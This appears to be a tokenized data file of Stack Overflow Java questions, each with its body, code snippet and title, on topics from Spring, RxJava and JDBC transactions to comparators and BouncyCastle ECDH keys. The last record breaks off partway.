ant compile jar runBuildfile : C : \Users\zayd\Desktop\Apps\pbox\build.xmlcompile : [ mkdir ] Created dir : C : \Users\zayd\Desktop\Apps\pbox\build\classes [ javac ] C : \Users\zayd\Desktop\Apps\pbox\build.xml:9 : warning : 'includeantruntime ' was not set , defaulting to build.sysclasspath=last ; set to false for repeatable builds [ javac ] Compiling 8 source files to C : \Users\zayd\Desktop\Apps\pbox\build\classesjar : [ mkdir ] Created dir : C : \Users\zayd\Desktop\Apps\pbox\build\jar [ jar ] Building jar : C : \Users\zayd\Desktop\Apps\pbox\build\jar\Main.jarrun : [ java ] ~We 'll go down in history~BUILD SUCCESSFULTotal time : 1 second",Apache Ant - program output accompanied by `` [ java ] '' tags +Java,"How would I go about reasonably efficiently finding the shortest possible output given by repeatedly applying replacements to an input sequence ? I believe ( please correct me if I am wrong ) that this is exponential-time in the worst case , but I am not sure due to the second constraint below . The naive method certainly is.I tried coding the naive method ( for all possible replacements , for all valid positions , recurse on a copy of the input after applying the replacement at the position . Return the shortest of all valid recursions and the input , with a cache on the function to catch equivalent replacement sequences ) , but it is ( unworkably ) slow , and I 'm pretty sure it 's an algorithmic issue as opposed to the implementation.A couple of things that may ( or may not ) make a difference : Token is an enumerated type.The length of the output of each entry in the map is strictly less than the input of the entry.I do not need what replacements were done and where , just the resulting sequence.So , as an example where each character is a token ( for simplicity 's sake ) , if I have the replacement map as aaba - > a , aaa - > ab , and aba - > bb , and I apply minimalString ( 'aaaaa ' ) , I want to get ' a'.The actual method signature is something along the following lines : Is there a better method than brute-force ? If not , is there , for example , a SAT library or similar that could be harnessed ? Is there any preprocessing to the map that could be done to make it faster when called multiple times with different token lists but with the same replacement map ?","List < Token > getMinimalAfterReplacements ( List < Token > inputList , Map < List < Token > , List < Token > > replacements ) { ? }",Shortest possible resulting length after iterated string replacement +Java,I am developing an API controller with Spring.I have two tables and they are one-to-many relationships.One video can have multiple products.I can select the video and product information with join query.The select result is like below : The JSON What I would like to return is below : Is it possible to create the above JSON with the query result ? Or should I change the JSON format ?,"{ `` videos '' : [ { `` video_id '' : `` V0001 '' , `` video_nm '' : `` Video001 '' , `` description '' : `` Some text '' , `` thumbnail '' : `` path/img/aaa.jpg '' , `` reg_dt '' : `` 11-30-2019 '' , `` products '' : [ { `` product_id '' : `` P0001 '' , `` product_nm '' : `` Product001 '' , `` description '' : `` Some text '' , `` info_url '' : `` http : //product.com '' } , ... ] } , ... ] }",Is it possible that converting inner join select result to nested list JSON ? +Java,"I have a spring boot application and we have an application.yml with a set of feature flags on itThen this file is read by a this classI want to pass the actual predicate and iterate each one of them but I want to know if I can do a generic function that I pass the list of Predicates with its value to be tested and if all of them are true the function return me a true otherwise falseThen in this class add some code like this because I want to generate this list on demand , for example I have a client x that purchase featureOne and featureTwo , in this example I create a list like thisThen I want to create a specific logic for that client and pass it the list of predicates previously created , but I think I would need something like this","featureFlag : featureOne : true featureTwo : true featureThree : true featureFour : false @ Configuration @ ConfigurationProperties ( prefix= '' featureFlag '' ) public class FeatureFlag { private Boolean featureOne ; private Boolean featureTwo ; private Boolean featureThree ; private Boolean featureFour ; /*The predicates based on the feature flags*/private Predicate < FeatureFlag > isFeatureFlagOneEnabled = featureFlag.isFeatureOne ( ) ; private Predicate < FeatureFlag > isFeatureFlagTwoEnabled = featureFlag.isFeatureTwo ( ) ; private Predicate < FeatureFlag > isFeatureFlagThreeEnabled = featureFlag.isFeatureThree ( ) ; private Predicate < FeatureFlag > isFeatureFlagFourEnabled = featureFlag.isFeatureFour ( ) ; } Set < Predicate < FeatureFlag > > rulesForClientX = new HashSet < > ( ) ; rulesForClientX.add ( isFeatureFlagOneEnabled ) ; rulesForClientX.add ( isFeatureFlagTwoEnabled ) ; Function < List < Predicate < FeatureFlag > > , Boolean > iteratePredicates = ( predicates ) - > { //test each predicate and return true if all of them are true otherwise return false }",How to iterate a list of Predicates +Java,"I am not familiar with error/exception handling . What is happening `` under the hood '' when an exception is caught and thrown ? I.e . what is the point of catching an exception in a try-catch block , then throwing it ? E.g :",try { //Stuff } catch ( StuffException e ) { throw new MyException ( ) ; } },Catching and Throwing an Exception : What happens `` under the hood '' ? +Java,"What I have is below table.Now I fire a query with below details , say Note : This is just same query . Actually I am implementing edit from four text field . So what I would be having using JSF and Java bean would be as below.What I want is using above query , which columns are updated . In above case , val1 column is updated.Basically I want this for log purpose where I would come to know who did the edit and what edit is done . Any idea/ suggestion how to get this done ? Note : I do n't want to create any other table as stated in answer by meewoK . Just using query , I would like to know the column names which are updated.I will explain what I want with example.Let 's say userA gets logged in into the system . Now he has access of user lists . Now let 's say he did edit for User B . What he changed is User B , email id and full name.Now in log what I want is two entries .","+ -- -- + -- -- -- -- + -- -- -- -- + -- -- -- -- + -- -- -- -- +| id | val1 | val2 | val3 | val4 |+====+========+========+========+========+| 1 | data1 | data2 | data3 | data4 |+ -- -- + -- -- -- -- + -- -- -- -- + -- -- -- -- + -- -- -- -- + UPDATE tableName SET val1='newVal1 ' , val2='data2 ' , val3='data3 ' , val4='data4 ' WHERE id=1 PreparedStatement psmt = conn.prepareStatement ( `` UPDATE tableName SET val1= ? , val2= ? , val3= ? , val4= ? WHERE id=1 '' ) ; psmt.setString ( 1 , myValue1 ) ; psmt.setString ( 2 , myValue2 ) ; psmt.setString ( 3 , myValue3 ) ; psmt.setString ( 4 , myValue4 ) ; psmt.execute ( ) ; =================================================================whoDid whatDid forWhom whichField whichSection whatTime=================================================================userA edit userB emailId User time_whenDiduserA edit userB fullName User time_whenDid=================================================================",list all column names which are updated +Java,"In my Android App I use a BehaviourSubject `` to get data '' from a data provider to my UI and other services that need the data . For the sake of an example , let 's assume these are messages for our user.Whenever a refresh of the data ( e.g . messages ) is triggered , the data provider will do a `` long running '' ( aka `` slow '' ) network call to retrieve message and feed them into the subject by invoking the subject 's onNext ( data ) operation , thus `` broadcasting '' the update to the UI and the other subscribers.This works well , but I 'm having a problem with the initialisation of the subject or put another way with setting the initial value of the subject on app start.I know that I can set an initial value via BehaviorSubject.create ( initialValue ) , but as the initialValue is the result of the network call , this would block the initialisation of the subject.I currently do the following in my data provider 's init : where getDataFromNetwork ( ) returns an Observable for the result of the network call.Question : The above construct of wiring the observable that refreshes from network by hand into the BehaviourSubject somehow feels wrong/not elegant . Is there a better way to initialise a BehaviourSubject with another Observable ? I 'm thinking of something like : BehaviorSubject.create ( Observable obs ) or in my case BehaviourSubject.create ( getDataFromNetwork ( ) ) that would setup the subject , leave it empty until the Observable emits something , and then `` pushes '' this something to its subscribers .",BehaviorSubject < Data > subject = BehaviorSubject.create ( ) ; getDataFromNetwork ( ) .subscribe ( data - > subject.onNext ( data ) ) ;,Asnyc Initialisation of RXJava BehaviorSubject +Java,"I want to calculate the difference between 2 dates with different years , in seconds . I do it like this : The problem is that when I run this for example for these dates : I get -169191300 as a result.But when the years are the same I get the right result , 954959013.Can someone explain what is happening here ?","public static int dateDifference ( Date d1 , Date d2 ) { return ( int ) ( d2.getTime ( ) - d1.getTime ( ) ) ; } d1 = Tue Nov 17 14:18:20 GMT+01:00 2015d2 = Fri Nov 28 15:37:50 GMT+02:00 2016",Difference between two dates with different years +Java,"I 'm trying to make sense of how Comparator.comparing function works . I created my own comparing method to understand it.The last line in this function throws an exception.However , if I change this function to It works just fine as expected.What is the intermediate functional interface which the second attempt uses , which is able to convert the lambda to Comparator ?","private static < T , U extends Comparable < U > > Comparator < T > comparing ( Function < T , U > f ) { BiFunction < T , T , Integer > bfun = ( T a , T b ) - > f.apply ( a ) .compareTo ( f.apply ( b ) ) ; return ( Comparator < T > ) bfun ; } private static < T , U extends Comparable < U > > Comparator < T > comparing ( Function < T , U > f ) { return ( T a , T b ) - > f.apply ( a ) .compareTo ( f.apply ( b ) ) ; }",Java Lambda to comparator conversion - intermediate representation +Java,What is an easy way to convert a String [ ] to a Collection < Integer > ? This is how I 'm doing it right now but not sure if it 's good :,String [ ] myStringNumbers ; Arrays.stream ( Arrays.asList ( myStringNumbers ) .stream ( ) .mapToInt ( Integer : :parseInt ) .toArray ( ) ) .boxed ( ) .collect ( Collectors.toList ( ) ) ;,String array to a collection of Integer ? +Java,If I have 2 Streams like coming in a method as shown belowand I want to find all objects which are present in pendingTransactionStream which are also present in processedTransactionStream based upon some criteria like if transaction.getId ( ) is same for an Transaction object present in pendingTransactionStream and processedTransactionStreamthen that object is same and we can collect them in a list.I tried doing like this but its giving error,"public Stream < Transaction > getPendingTransaction ( Stream < PendingTransaction > pendingTransactionStream , Stream < ProcessedTransaction > processedTransactionStream ) { } processedTransactionStream .filter ( ( processedTransaction ) - > { pendingTransactionStream.anyMatch ( s- > s.getTransactionId ( ) .equals ( processedTransaction.getTransactionId ( ) ) ) ; } ) .collect ( Collectors.toList ( ) ) ;",How to search between two Streams in Java 8 +Java,"Possible Duplicate : Is List < Dog > a subclass of List < Animal > ? Why are n't Java 's generics implicitly polymorphic ? Java Generics — Assigning a list of subclass to a list of superclass With raw types you can easily say something like this.But this is n't allowedI do n't understand why this is . My book tells me why the second does n't work , because you ca n't add a Integer to a MyClass < Double > . What it does n't explains is why MyClass < Double > is a subclass of MyClass < Object > ( or the equivalent raw type form ) , since double is subclass of object.So why is the first allowed if the second form is n't . Please realize I am new to this.Edit : Taking it a step further what would happen in the first example if Number was the upper bound ? You can see here the effects of type erasureMy point is that why should it matter what the Generic is declared as if it ultimately becomes treated as the upper bound anyway ?",[ ... ] // MyClass is generic with upper bound of ObjectMyClass c = new MyClass < Double > ( ) ; [ ... ] MyClass < Number > c = new MyClass < Double > ( ) class Untitled { public static void main ( String [ ] args ) { } public static < T > void c ( T t ) { t.SubClassMethod ( ) ; // this wo n't work because class Object has no such method . But if I change the upperbound to SubClass it will . t.toString ( ) // this will because class Object has such a method } },Raw types and Generics -- Java +Java,"Looking at this example code similar to this question : This prints false . Why does n't it fail with a NullPointerException ? The assignment has to get processed before the equals method can run , but somehow that does n't affect the reference that equals is called on until after the whole line is evaluated ? I did n't see where in the Java language spec it describes this , did I miss it somewhere ?",public class A { public static void main ( String args [ ] ) { A a = new A ( ) ; System.out.println ( a.equals ( ( a = null ) ) ) ; } },updating references in an expression with a nested assignment +Java,Is using a join to wait until a Thread has finished the same as using the an observer to notify the calling thread class when the thread has finised ?,"Using join - public class Reader { Thread t = new Thread ( new ReadContent ( ) ) ; t.start ( ) ; t.join ( ) ; System.out.println ( `` Thread has finished '' ) ; public class ReadContent ( ) implements Runnable { } public void run ( ) { readContentURL ( ) ; } } /*****************************************************************************/ Using observer - public interface ReadContentListener { public void contentRead ( ) ; } public class Reader implements ReadContentListener { Thread t = new Thread ( new ReadContent ( this ) ) ; t.start ( ) ; pubic void contentRead ( ) { System.out.println ( `` Thread has finished '' ) ; } public class ReadContent implements Runnable { public ReadContent ( ReadContentListener readContentListener ) { this.readContentListener = readContentListener ; } public void run ( ) { readContentURL ( ) ; this.readContentListener.contentRead ( ) ; } } /*************************************************************/ public GenericScreenAnimation ( String nextScreen , Thread genericWorkerThread ) { this.genericWorkerThread = genericWorkerThread ; this.genericWorkerThread.start ( ) ; initialise ( ) ; try { this.genericWorkerThread.join ( ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } ScreenController.displayNextScreen ( nextScreen ) ; }",Is using observer pattern as a notifier same as using Thread.join ? +Java,"When I have code in java that uses streams intellij displays type hints about the result of the stream.I would like to disable these hintsExample with the following code : I have turned off other tool tips for parameters , but the hints after the streams are still present . They are visually very distracting while providing me with little extra information.I would also be happy if I knew how to change the color or style of the hints ( I have Material Theme UI installed )","Stream.of ( 1 , 2 . 3 ) .map ( n - > n + 1 ) .map ( n - > n % 2 == 0 ? `` even number `` + n : `` odd number `` + n ) .peek ( System.out : println ) .map ( s - > Float.parseFloat ( s.substring ( s.lastIndexOf ( `` `` ) ) ) ) ;",How to turn off type hint in java stream sequences +Java,"So I 've built this program to build different stair cases . Essentially the problem is : Given an integer N , how many different ways can you build the staircase . N is guaranteed to be larger than 3 and smaller than 200 . Any previous step can not be larger than its following step otherwise it defeats the purpose of the staircase.So given N = 3You can build one staircase : 2 steps and then 1 step following thatGiven N = 4You can build one staircase : 3 steps and then 1 step following thatGiven N = 5You can build two staircases : 3 steps and then 2 steps OR 4 steps and then 1 step.My method is below and it works , except its runtime is far too slow . So I was thinking of trying to make a memoization for the method , but to be honest I do not fully understand how to implement this . If I could get some help on how to do so that 'd be great .","public static void main ( String [ ] args ) { System.out.println ( answer ( 200 ) ) ; } public static int answer ( int n ) { return bricks ( 1 , n ) -1 ; } public static int bricks ( int height , int bricksLeft ) { if ( bricksLeft == 0 ) { return 1 ; } else if ( bricksLeft < height ) { return 0 ; } else { return bricks ( height +1 , bricksLeft - height ) + bricks ( height +1 , bricksLeft ) ; } }",How can a recursive Java method be memoized ? +Java,"During a course it was installed JDK on my computer in order to be able to run eXist database . After this , after executing the command java -jar fileName.jar I get the following error . Graphics Device initialization failed for : d3d , sw Error initializing QuantumRenderer : no suitable pipeline found java.lang.RuntimeException : java.lang.RuntimeException : Error initializing QuantumRenderer : no suitable pipeline found at com.sun.javafx.tk.quantum.QuantumRenderer.getInstance ( QuantumRenderer.java:280 ) at com.sun.javafx.tk.quantum.QuantumToolkit.init ( QuantumToolkit.java:222 ) at com.sun.javafx.tk.Toolkit.getToolkit ( Toolkit.java:260 ) at com.sun.javafx.application.PlatformImpl.startup ( PlatformImpl.java:267 ) at com.sun.javafx.application.PlatformImpl.startup ( PlatformImpl.java:158 ) at com.sun.javafx.application.LauncherImpl.startToolkit ( LauncherImpl.java:658 ) at com.sun.javafx.application.LauncherImpl.launchApplication1 ( LauncherImpl.java:678 ) at com.sun.javafx.application.LauncherImpl.lambda $ launchApplication $ 2 ( LauncherImpl.java:195 ) at java.base/java.lang.Thread.run ( Thread.java:835 ) Caused by : java.lang.RuntimeException : Error initializing QuantumRenderer : no suitable pipeline found at com.sun.javafx.tk.quantum.QuantumRenderer $ PipelineRunnable.init ( QuantumRenderer.java:94 ) at com.sun.javafx.tk.quantum.QuantumRenderer $ PipelineRunnable.run ( QuantumRenderer.java:124 ) ... 1 more Exception in thread `` main '' java.lang.RuntimeException : No toolkit found at com.sun.javafx.tk.Toolkit.getToolkit ( Toolkit.java:272 ) at com.sun.javafx.application.PlatformImpl.startup ( PlatformImpl.java:267 ) at com.sun.javafx.application.PlatformImpl.startup ( PlatformImpl.java:158 ) at com.sun.javafx.application.LauncherImpl.startToolkit ( LauncherImpl.java:658 ) at com.sun.javafx.application.LauncherImpl.launchApplication1 ( LauncherImpl.java:678 ) at com.sun.javafx.application.LauncherImpl.lambda $ launchApplication $ 2 ( LauncherImpl.java:195 ) at java.base/java.lang.Thread.run ( Thread.java:835 ) Windows 10 openjdk version `` 12.0.2 '' 2019-07-16 OpenJDK Runtime Environment Adopt OpenJDK ( build 12.0.2+10 ) OpenJDK 64-Bit Server VM Adopt OpenJDK ( build 12.0.2+10 , mixed mode , sharing )",java -version,"After installing JDK , unable to run .jar" +Java,If I have the following code : does the someValue or the index get evaluated first ?,array [ index ] = someValue ;,Is the array index or the assigned value evaluated first ? +Java,The output : My questions:1.What happens for `` String s1 = `` abc '' ? I guess the String object is added to the pool in class String as an interned string ? Where is it placed on ? The `` permanent generation '' or just the heap ( as the data member of the String Class instance ) ? 2.What happens for `` String s2 = `` abc '' ? I guess no any object is created.But does this mean that the Java Intepreter needs to search all the interned strings ? will this cause any performance issue ? 3.Seems String s3 = new String ( `` abc '' ) does not use interned string.Why ? 4.Will String s5 = new String ( `` def '' ) create any new interned string ?,class A { String s4 = `` abc '' ; static public void main ( String [ ] args ) { String s1 = `` abc '' ; String s2 = `` abc '' ; String s3 = new String ( `` abc '' ) ; A o = new A ( ) ; String s5 = new String ( `` def '' ) ; System.out.println ( `` s1==s2 : `` + ( s1==s2 ) ) ; System.out.println ( `` s1==s1.intern : `` + ( s1==s1.intern ( ) ) ) ; System.out.println ( `` s1==s3 : `` + ( s1==s3 ) ) ; System.out.println ( `` s1.intern==s3.intern : `` + ( s1.intern ( ) ==s3.intern ( ) ) ) ; System.out.println ( `` s1==s4 : `` + ( s1==o.s4 ) ) ; } } s1==s2 : trues1==s1.intern : trues1==s3 : falses1.intern==s3.intern : trues1==s4 : true,Java : literal strings +Java,"I 'm a bit exasperated with this issue . Lets check if someone has implemented something similar . I have a java 8 web application with 8 WS implemented . Some of this WS , make inserts and updates through JDBCTemplate ( Hibernate is not a choice due to performance needs ) and i need them to rollback if execution crashes with an exception . I have the following configuration of datasource and transaction manager in spring app context file ( jndi resource in server.xml/context.xml of Tomcat ) : On the other hand I have a unique accesspoint to the dataBase DBcontroller.class , which has a generic method for inserts , deletes and updates : Finally I have a WS Interface This way : with its implementation : with a `` transactional '' method : It should be working ok on a non WS project , but as I have discovered there is no so easy way for making this work.First I thought it did n't rollback , but now I 'm quite sure it does n't create transactions . There are some similar post in stackoverflow , but none of them fix my problem . I have google it a lot , and the only way suggested is WS-AtomicTransactions , which I have never heard about.I have try almost everything in XML configuration file , I have even tried to manage transactions programatically , but as it is a pool of connections I 'm not able to set autocommit to false so that I can force rollbacks . For if it is useful for anyone , I have soap handlers implemented for each WS , that look this way :","< bean id= '' dataSource '' class= '' org.springframework.jndi.JndiObjectFactoryBean '' > < property name= '' jndiName '' value= '' java : comp/env/jdbc/source '' / > < /bean > < bean id= '' transactionManager '' class= '' org.springframework.jdbc.datasource.DataSourceTransactionManager '' > < property name= '' dataSource '' ref= '' dataSource '' / > < /bean > < tx : annotation-driven transaction-manager= '' transactionManager '' / > private NamedParameterJdbcTemplate jdbcTemplate ; private DataSource datasource ; @ Autowiredpublic void setDataSource ( DataSource dataSource ) { this.datasource = dataSource ; this.jdbcTemplate = new NamedParameterJdbcTemplate ( dataSource ) ; } @ Overridepublic boolean queryForModifying ( String query , SqlParameterSource parameters ) { int modifiedRows= 0 ; try { modifiedRows= this.jdbcTemplate.update ( query , parameters ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; numRegistrosAfectados = 0 ; } return ( modifiedRows > 0 ) ? true : false ; } @ WebServicepublic interface IService { @ WebMethod public method ( MethodRequestType request ) throws IllegalArgumentException , IllegalAccessException ; } @ WebService ( endpointInterface = `` com.package.IService '' ) @ HandlerChain ( file = `` handler-chain.xml '' ) public class Service implements IService { @ Autowired IDBController dbController ; @ Transactionalprivate boolean inserts ( HashMap < String , Object > input , MethodRequestType request ) { ... .. public class ServiceHandler implements SOAPHandler < SOAPMessageContext > { private SoapFaultHandler soapFaultHandler ; @ Override public boolean handleMessage ( SOAPMessageContext context ) { SOAPMessage message = context.getMessage ( ) ; soapFaultHandler = new SoapFaultHandler ( message ) ; return SoapMessageHandler.handleMessage ( context , `` Service name '' , logger ) ; } @ Override public boolean handleFault ( SOAPMessageContext context ) { return soapFaultHandler.handleFault ( context , logger , `` ServiceName '' ) ; } ... }",Spring transactions not working + JAX WS + JDBC +Java,"From Chapter 4 of Effective Java the following example is given : [ ... ] It is the most flexible because it allows the use of multiple package-private implementation classes . To its clients that reside outside its package , the immutable class is effectively final because it is impossible to extend a class that comes from another package and that lacks a public or protected constructor.I understand that the class is effectively final , but is there any actual advantage from not declaring it final ? Omitting this keyword when the class does n't support extension seems like a less clear way to communicate how the API is meant to be used . Or was final only left out here to show the reader that non-extendable , non-final classes are possible ?","public class Complex { private final double re ; private final double im ; private Complex ( double re , double im ) { this.re = re ; this.im = im ; } public static Complex valueOf ( double re , double im ) { return new Complex ( re , im ) ; } ... // Remainder unchanged }",Effective Java : Make constructors private or package-private +Java,"Currently to get instance of for example Picasso in an activity , I need to add inject method to AppComponent . How to avoid adding of the inject method , because I have a lot of fragments and views where it should be injected : AppComponent.class : Fragment1.classMy classes : AppModule.class : ForApplication.class : MyApplication.classUPDATEI want also inject adapters for fragments , and if I 'll add inject to BaseFragment then BaseFragment will have all adapters for all child fragments","@ ForApplication @ Singleton @ Component ( modules = { AppModule.class , OkHttpClientModule.class , NetworkApiModule.class , NetworkAuthModule.class } ) public interface AppComponent { void inject ( Fragment1 obj ) ; void inject ( Fragment2 obj ) ; void inject ( Fragment3 obj ) ; void inject ( Fragment4 obj ) ; void inject ( Fragment5 obj ) ; void inject ( Fragment6 obj ) ; ... } public class Fragment1 extends Fragment { @ Inject Picasso mPicasso ; @ Override public void onCreate ( @ Nullable Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; MyApplication.getComponent ( getContext ( ) ) .inject ( this ) ; } } @ Modulepublic class AppModule { private MyApplication mApplication ; public AppModule ( @ NonNull MyApplication mApplication ) { this.mApplication = mApplication ; } @ Provides @ NonNull @ Singleton public Application provideApplication ( ) { return mApplication ; } @ Provides @ ForApplication Context provideContext ( ) { return mApplication ; } @ Provides @ Singleton Picasso providesPicasso ( @ ForApplication Context context ) { return new Picasso.Builder ( context ) .build ( ) ; } } @ Scope @ Retention ( RUNTIME ) public @ interface ForApplication { } public class MyApplicationextends Application { static Context mContext ; private AppComponent component ; @ Override public void onCreate ( ) { super.onCreate ( ) ; mContext = this ; setupComponent ( ) ; } private void setupComponent ( ) { component = DaggerAppComponent.builder ( ) .appModule ( new AppModule ( this ) ) .build ( ) ; component.inject ( this ) ; } public AppComponent getComponent ( ) { if ( component==null ) setupComponent ( ) ; return component ; } public static AppComponent getComponent ( Context context ) { return ( ( MyApplication ) context.getApplicationContext ( ) ) .getComponent ( ) ; }",How to avoid adding of inject method for each view ? +Java,"UPDATE : To help clarify what I 'm asking I have posted a little java code that gets the idea across.A while ago I asked a question on how to get an algorithm to break down a set of numbers , the idea was to give it a list of numbers ( 1,2,3,4,5 ) and a total ( 10 ) and it would figure out all the multiples of each number that would add up to the total ( ' 1*10 ' or ' 1*1,1*2,1*3,1*4 ' or ' 2*5 ' , etc.. ) . It was the first programming exercise I ever did so it took me a while and I got it working but now I want to try to see if I can scale it . The person in the original question said it was scalable but I 'm a bit confused at how to do it . The recursive part is the area I 'm stuck at scaling the part that combines all the results ( the table it is referring to is not scalable but applying caching I am able to make it fast ) I have the following algorithm ( pseudo code ) : I 'm really at a loss at how to thread/multiprocess the RecursivelyListAllThatWork function . I know if I send it a smaller K ( which is int of total number of items in list ) it will process that subset but I do n't know how to do ones that combine results across the subset . For example , if list is [ 1,2,3,4,5,6,7,8,9,10 ] and I send it K=3 then only the 1,2,3 get processed which is fine but what about if I need results that include 1 and 10 ? I have tried to modify the table ( variable T ) so only the subset I want are there but still does n't work because , like the solution above , it does a subset but can not process answers that require a wider range.I do n't need any code just if someone can explain how to conceptually break this recursive step to so other cores/machines can be used . UPDATE : I still ca n't seem to figure out how to turn RecursivelyListAllThatWork into a runnable ( I know technically how to do it , but I do n't understand how to change the RecursivelyListAllThatWork algorithm so it can be ran in parallel . The other parts are just here to make the example work , I only need to implement runnable on RecursivelyListAllThatWork method ) . Here 's the java code :","//generates tablefor i = 1 to k for z = 0 to sum : for c = 1 to z / x_i : if T [ z - c * x_i ] [ i - 1 ] is true : set T [ z ] [ i ] to true//uses table to bring all the parts togetherfunction RecursivelyListAllThatWork ( k , sum ) // Using last k variables , make sum /* Base case : If we 've assigned all the variables correctly , list this * solution . */ if k == 0 : print what we have so far return /* Recursive step : Try all coefficients , but only if they work . */ for c = 0 to sum / x_k : if T [ sum - c * x_k ] [ k - 1 ] is true : mark the coefficient of x_k to be c call RecursivelyListAllThatWork ( k - 1 , sum - c * x_k ) unmark the coefficient of x_k import java.awt.Point ; import java.util.ArrayList ; import java.util.Arrays ; import java.util.List ; public class main { public static void main ( String [ ] args ) { System.out.println ( `` starting.. '' ) ; int target_sum = 100 ; int [ ] data = new int [ ] { 10 , 5 , 50 , 20 , 25 , 40 } ; List T = tableGeneator ( target_sum , data ) ; List < Integer > coeff = create_coeff ( data.length ) ; RecursivelyListAllThatWork ( data.length , target_sum , T , coeff , data ) ; } private static List < Integer > create_coeff ( int i ) { // TODO Auto-generated method stub Integer [ ] integers = new Integer [ i ] ; Arrays.fill ( integers , 0 ) ; List < Integer > integerList = Arrays.asList ( integers ) ; return integerList ; } private static void RecursivelyListAllThatWork ( int k , int sum , List T , List < Integer > coeff , int [ ] data ) { // TODO Auto-generated method stub if ( k == 0 ) { // # print what we have so far for ( int i = 0 ; i < coeff.size ( ) ; i++ ) { System.out.println ( data [ i ] + `` = `` + coeff.get ( i ) ) ; } System.out.println ( `` ******************* '' ) ; return ; } Integer x_k = data [ k-1 ] ; // Recursive step : Try all coefficients , but only if they work . for ( int c = 0 ; c < = sum/x_k ; c++ ) { //the c variable caps the percent if ( T.contains ( new Point ( ( sum - c * x_k ) , ( k-1 ) ) ) ) { // mark the coefficient of x_k to be c coeff.set ( ( k-1 ) , c ) ; RecursivelyListAllThatWork ( ( k - 1 ) , ( sum - c * x_k ) , T , coeff , data ) ; // unmark the coefficient of x_k coeff.set ( ( k-1 ) , 0 ) ; } } } public static List tableGeneator ( int target_sum , int [ ] data ) { List T = new ArrayList ( ) ; T.add ( new Point ( 0 , 0 ) ) ; float max_percent = 1 ; int R = ( int ) ( target_sum * max_percent * data.length ) ; for ( int i = 0 ; i < data.length ; i++ ) { for ( int s = -R ; s < R + 1 ; s++ ) { int max_value = ( int ) Math.abs ( ( target_sum * max_percent ) / data [ i ] ) ; for ( int c = 0 ; c < max_value + 1 ; c++ ) { if ( T.contains ( new Point ( s - c * data [ i ] , i ) ) ) { Point p = new Point ( s , i + 1 ) ; if ( ! T.contains ( p ) ) { T.add ( p ) ; } } } } } return T ; } }",Unable to multi-thread a scalable method +Java,"It seems to me that MappedByteBuffer.isLoaded ( ) consistently returns false on Windows . When I test on say BSD Unix I get true using the same test data.Should I worry ? I basically can not get isLoaded ( ) to return true on Windows no matter what size data I use.Here 's my test code for reference : I understand that load ( ) is only a hint but with such small sizes as I use here I would expect isLoaded ( ) to return true at some point . As said this seems to be related to Windows OS . It basically means that isLoaded ( ) is of absolutely no use.Perhaps I should add that my MappedByteBuffer on Windows works absolutely fine and with stellar performance even if isLoaded ( ) always returns false . So I do n't really believe it when it says it is not loaded.Tested on Windows 7 , using Oracle Java 7 update 9 .","import java.io.FileNotFoundException ; import java.io.IOException ; import java.io.RandomAccessFile ; import java.nio.MappedByteBuffer ; import java.nio.channels.FileChannel ; import java.util.logging.Level ; import java.util.logging.Logger ; public class MemMapTest { private static final String FILENAME = `` mydata.dat '' ; private static final int MB_1 = 1048576 ; // one Mbyte private static final byte [ ] testData = { 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 } ; // len = 10 bytes public static void main ( String [ ] args ) throws FileNotFoundException , IOException { // Create a 10 Mb dummy file and fill it with dummy data RandomAccessFile testFile = new RandomAccessFile ( FILENAME , `` rw '' ) ; for ( int i = 0 ; i < MB_1 ; i++ ) { testFile.write ( testData ) ; } MappedByteBuffer mapbuf = testFile.getChannel ( ) .map ( FileChannel.MapMode.READ_WRITE , 0 , MB_1 * 20 ) .load ( ) ; testFile.close ( ) ; if ( mapbuf.isLoaded ( ) ) { System.out.println ( `` File is loaded in memory '' ) ; } else { System.out.println ( `` File is NOT loaded in memory '' ) ; } } }",Java MappedByteBuffer.isLoaded ( ) +Java,"Why do the MouseEvents in Java share modifiers between keys and mouse buttons ? Consider , the simple code below : If you click three times in the window ( one left click , one middle click , and one right click ) you 'll see the following output.If you look , you 'll notice that all middle clicks are reported as having the alt key down , and all right clicks are reported as having the Meta key down . This is well documented , and there is even a line in the Javadocs for MouseEvent mentioning this overlap . But my question is , why is it reported like this ? What is the reasoning behind returning true from e.isAltDown ( ) for a middle click ? This makes it difficult to distinguish between Alt+Button1 and Button2 on some platforms.Similarly , are there any `` Best Practices '' guides for designing cross-platform mouse behaviors in Java ?","public static void main ( String [ ] args ) { JFrame frame = new JFrame ( ) ; frame.setSize ( 800,600 ) ; frame.addMouseListener ( new MouseAdapter ( ) { public void mouseClicked ( MouseEvent e ) { System.out.println ( e ) ; } } ) ; frame.setVisible ( true ) ; } java.awt.event.MouseEvent [ MOUSE_CLICKED , ( 165,149 ) , absolute ( 165,149 ) , button=1 , modifiers=Button1 , clickCount=1 ] on frame0java.awt.event.MouseEvent [ MOUSE_CLICKED , ( 292,228 ) , absolute ( 292,228 ) , button=2 , modifiers=Alt+Button2 , clickCount=1 ] on frame0java.awt.event.MouseEvent [ MOUSE_CLICKED , ( 293,228 ) , absolute ( 293,228 ) , button=3 , modifiers=Meta+Button3 , clickCount=1 ] on frame0",Why Are all Middle Clicks in Java Reported as Having the Alt Modifier ? +Java,"I have an application that is using BouncyCastle as a security provider , but I want to switch to a different one that uses OpenSSL directly ( Conscrypt ) . The issue I 'm having is that I 'm using ECDH `` Keys '' from the KeyGenerator provided by BouncyCastle , but do n't have similar KeyGenerator in my other library.To compare the two I am going to decode the points using both methods with the following input-line breaks added for readabilityUsing the BouncyCastle method-The getAlgorithm returned is EC.The getFormat returned is X.509.The getEncoded value of this is-Just using the BouncyCastle EC algorithm ( not ECDH ) I get-Now with the Conscrypt method-The getAlgorithm returned is EC.The getFormat returned is X.509.The getEncoded value of this is-Ignoring the discrepancies between both EC generated keys . What does BouncyCastle do in the ECDH KeyGenerator ? DH being a KeyAgreement , I assume it 's generating an EC key and running it through a DH KeyAgreement- but what is it initializing as the private key when nothing is specified in the KeyGenerator spec ? Also . Why when I use the EC algorithm with both providers do I get different results for the same algorithm when both are using the prime256v1 spec ? I would assume these would at least be equal.Edit : The ECUtil comes from sun.security.util.ECUtil.For any of the classes where both BC and the Java Security Library share a common name in my examples ( e.g . ECPoint ) - it 's always the Java Security Library . Only when the class is prefixed with the bouncycastle path ( e.g . org.bouncycastle.jce.interfaces.ECPublicKey ) is it a BC class . openSSLProvider is an instance of OpenSSLProvider from the Conscrypt library . That project can be found here.https : 